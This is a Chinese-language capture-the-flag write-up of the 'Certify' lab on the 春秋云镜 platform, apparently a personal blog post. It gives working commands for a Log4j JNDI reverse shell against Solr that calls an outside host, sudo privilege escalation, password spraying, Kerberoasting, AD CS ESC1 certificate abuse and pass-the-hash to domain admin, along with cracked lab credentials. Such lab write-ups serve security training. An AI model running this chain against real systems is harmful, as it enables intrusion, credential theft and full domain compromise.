春秋云镜 Certify

meraklbz / 2024-09-13 / 原文

先扫一下入口机
image

80没东西,访问8983端口.是个solr服务,用了log4j(下面的java安全照着打的,不是很懂)
image

尝试使用LDAP进行DNS外带http://39.99.228.6:8983/solr/admin/collections?action=${jndi:ldap://x5gxld.dnslog.cn}
访问发现成功触发了DNS外带,说明确实有洞
image

JNDIExploit一把梭

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 123.57.23.40

然后弹shell的payload为

/solr/admin/collections?action=${jndi:ldap://123.57.23.40:1389/Basic/ReverseShell/123.57.23.40/1111}

成功弹shell,但是权限很低.sudo -l发现:
image

这个grc是个给命令上色的命令.直接用来提权,升级终端.

sudo grc /bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'

得到了第一个flag
image

flag: flag{905b316a-fd48-4dd2-9591-08bccec0503e}
架个横向代理,上fscan去扫

./fscan -h 172.22.9.19/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.9.19     is alive
(icmp) Target 172.22.9.7      is alive
(icmp) Target 172.22.9.26     is alive
(icmp) Target 172.22.9.47     is alive
[*] Icmp alive hosts len is: 4
172.22.9.26:135 open
172.22.9.7:135 open
172.22.9.47:80 open
172.22.9.7:80 open
172.22.9.47:22 open
172.22.9.19:80 open
172.22.9.19:22 open
172.22.9.47:21 open
172.22.9.47:139 open
172.22.9.26:139 open
172.22.9.7:139 open
172.22.9.47:445 open
172.22.9.26:445 open
172.22.9.7:445 open
172.22.9.7:88 open
172.22.9.19:8983 open
[*] alive ports len is: 16
start vulscan
[*] WebTitle http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] NetInfo 
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[*] WebTitle http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios 172.22.9.7      [+] DC:XIAORANG\XIAORANG-DC    
[*] NetInfo 
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] NetBios 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.9.47     fileserver                          Windows 6.1
[*] WebTitle http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] OsInfo 172.22.9.47  (Windows 6.1)
[*] WebTitle http://172.22.9.7         code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin
[+] PocScan http://172.22.9.7 poc-yaml-active-directory-certsrv-detect 

一共四个机器

172.22.9.7 XIAORANG-DC
172.22.9.19 已拿下
172.22.9.26 DESKTOP-CBKTVMO
172.22.9.47 fileserver 

考点中提到了smb,其他三个机器都开了445.但这个fileserver听着更像要打的,试试.

proxychains python3 smbclient.py 172.22.9.47

image

直接就上去了,无密码匿名,nb!
选择恰当的共享盘
image

成功得到了第二个flag
image

flag:flag{f34e606d-5a78-4ca6-9035-bf5e9c41e372}
看到了提示:Yes, you have enumerated smb. But do you know what an SPN is?
后面的域内攻击可能和SPN相关
先把这个personal.db下下来

get personnel.db

使用nvcat查看,发现了这么个表,其中有大量的用户名
image

以及这么一个表,里面有几个密码
image

根据云镜的经验,这里估计要喷洒了.
把name和email存起来,去爆172.22.9.26的rdp

proxychains hydra -L username -P password 172.22.9.26 rdp >>result.txt

最后有效的为

zhangjian:i9XDE02pLVf
liupeng:fiAzGwEMgTY

然而发现rdp上不去.
想到了之前的提示SPN,查找一下这俩用户的SPN

proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

得到了这俩人的krbtgt票据哈希
image

使用hashcat去爆破

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

得到了这俩用户的密码
image

zhangxia:MyPass2@@6
chenchen:@Passw0rd@

此时能rdp上去了,但是flag在Administrator的目录下,没权限.
考点中说了AD-CS,那就去枚举一下证书

proxychains certipy find -u 'liupeng@xiaorang.lab'  -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout

有价值的内容如下
image

image

一眼打ESC1,这玩意是第一次打,介绍一下.
配置条件:

Enrollment Rights: NT Authority\Authenticated Users 表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT 表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication 表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

有一说一,这配置肉眼可见的离谱.只要能够身份验证的域用户就能申请一个域管理员的证书,这铁定出事啊.

先给域管理员申请一个证书

proxychains certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager'  -upn administrator@xiaorang.lab

image

然后去拿个TGT

proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

image

这工具在拿到TGT后会直接用这个TGT去拿管理员的NTLM,得到:
2f1b57eefb2d152196836b0516abea80
哈希横传进行登录

proxychains python3 psexec.py -hashes :2f1b57eefb2d152196836b0516abea80 XIAORANG/Administrator@172.22.9.7 -codec gbk

image

flag:flag{13bfdd0a-82b2-4793-9c77-3b460d0f5212}

proxychains python3 psexec.py -hashes :2f1b57eefb2d152196836b0516abea80 XIAORANG/Administrator@172.22.9.26 -codec gbk

image

flag:flag{b23158e0-c218-47e3-b69b-aff66a14c6ef}

共用时1小时13分钟.最快的一次.第一次打smb登录,也是第一次打ESC1.总的来说很顺利.
image